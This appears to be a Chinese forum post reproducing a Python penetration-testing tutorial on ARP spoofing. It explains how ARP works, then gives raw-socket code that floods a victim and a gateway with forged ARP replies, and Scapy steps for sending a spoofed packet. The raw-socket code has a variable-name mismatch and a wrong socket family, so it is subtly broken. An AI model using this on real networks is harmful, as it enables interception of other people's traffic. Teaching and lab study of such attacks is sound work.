Python渗透测试-ARP欺骗



ARP可以被定义为无状态协议,其用于将因特网协议(IP)地址映射到物理机器地址。

ARP的工作

在本节中,我们将了解ARP的工作原理。请考虑以下步骤以了解ARP的工作原理 -

  • 步骤1 - 首先,当机器想要与另一台机器通信时,它必须查找其ARP表以获取物理地址。

  • 步骤2 - 如果找到机器的物理地址,转换到正确长度后的数据包将被发送到所需的机器

  • 步骤3 - 但是如果没有找到表中IP地址的条目,则ARP_request将通过网络广播。

  • 步骤4 - 现在,网络上的所有计算机都将广播的IP地址与MAC地址进行比较,如果网络中的任何一台机器识别出该地址,它将响应ARP_request及其IP和MAC地址。这种ARP消息称为ARP_reply。

  • 步骤5 - 最后,发送请求的机器将地址对存储在其ARP表中,并进行整个通信。

什么是ARP欺骗?

它可以定义为恶意行为者通过局域网发送伪造ARP请求的一种攻击。ARP中毒也称为ARP欺骗。借助以下几点可以理解 -

  • 第一个ARP欺骗,用于重载交换机,将构造大量伪造的ARP请求和回复数据包。

  • 然后交换机将设置为转发模式。

  • 现在,ARP表会充斥着欺骗性ARP响应,因此攻击者可以嗅探所有网络数据包。

使用Python实现

在本节中,我们将了解ARP欺骗的Python实现。为此,我们需要三个MAC地址 - 第一个是受害者,第二个是攻击者,第三个是网关。除此之外,我们还需要使用ARP协议的代码。

让我们导入所需的模块如下 -

import socket
import struct
import binascii

现在,我们将创建一个包含三个参数的套接字。第一个参数告诉我们有关数据包接口(特定于Linux的PF_PACKET和用于Windows的AF_INET),第二个参数告诉我们它是否是一个原始套接字,第三个参数告诉我们我们感兴趣的协议(这里是用于IP的0x0800)协议)。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

我们现在将提供攻击者,受害者和网关机器的mac地址 -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

我们需要给出ARP协议的代码如下所示 -

code ='\x08\x06'

两个以太网数据包,一个用于受害机器,另一个用于网关机器,如下制作:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

以下代码行按照ARP标头的顺序排列 -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

现在我们需要提供网关机器和受害者机器的IP地址(假设我们有网关和受害者机器的以下IP地址) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

借助socket.inet_aton()方法将上述IP地址转换为十六进制格式

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

执行以下代码行以更改网关机器的IP地址。

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

在Kali Linux上使用Scapy实现

可以使用Kali Linux上的Scapy实现ARP欺骗。按照以下步骤执行相同的操作 -

第1步:攻击者机器的地址

在此步骤中,我们将通过在Kali Linux的命令提示符下运行命令ifconfig来查找攻击者计算机的IP地址

第2步:目标机器的地址

在此步骤中,我们将通过在Kali Linux的命令提示符上运行命令ifconfig来找到目标计算机的IP地址,我们需要在另一个虚拟机上打开该命令。

第3步:Ping目标计算机

在此步骤中,我们需要借助以下命令从攻击者计算机ping目标计算机 -

Ping –c 192.168.43.85(say IP address of target machine)

第4步:目标计算机上的ARP缓存

我们已经知道两台机器使用ARP数据包交换MAC地址,因此在第3步之后,我们可以在目标机器上运行以下命令来查看ARP缓存 -

arp -n

步骤5:使用Scapy创建ARP数据包

我们可以在Scapy的帮助下创建ARP数据包,如下所示 -

scapy
arp_packt = ARP()
arp_packt.display()

步骤6:使用Scapy发送恶意ARP数据包

我们可以在Scapy的帮助下发送恶意ARP数据包,如下所示 -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

步骤7:再次检查目标计算机上的ARP缓存

现在,如果我们再次检查目标机器上的ARP缓存,那么我们将看到虚假地址“1.1.1.1”。


温馨提示:互联网协议攻击!



网际编程技术论坛-微蓝网-aiweline.com- 版权声明 1、本主题所有言论和图片纯属会员个人意见,与网际编程技术论坛-微蓝网-aiweline.com立场无关。
2、本站所有主题由该帖子作者发表,该帖子作者Python网际编程技术论坛-微蓝网-aiweline.com享有帖子相关版权。
3、网际编程技术论坛-微蓝网-aiweline.com管理员和版主有权不事先通知发贴者而删除本文。
4、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者Python网际编程技术论坛-微蓝网-aiweline.com的同意。
5、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任。
6、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责。
7、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意。


上一篇:Debian下安装python graph-tool安装
下一篇:Python DoS&DDoS攻击
快速回复
这家伙太懒了,什么也没留下。
最新回复 (0)
只看楼主
全部楼主
    • 网际编程技术论坛-微蓝网-aiweline.com
      2
          
返回
免责声明:本站部分内容来源于网络,若有侵权请及时通知(aiweline@qq.com),我们会及时处理。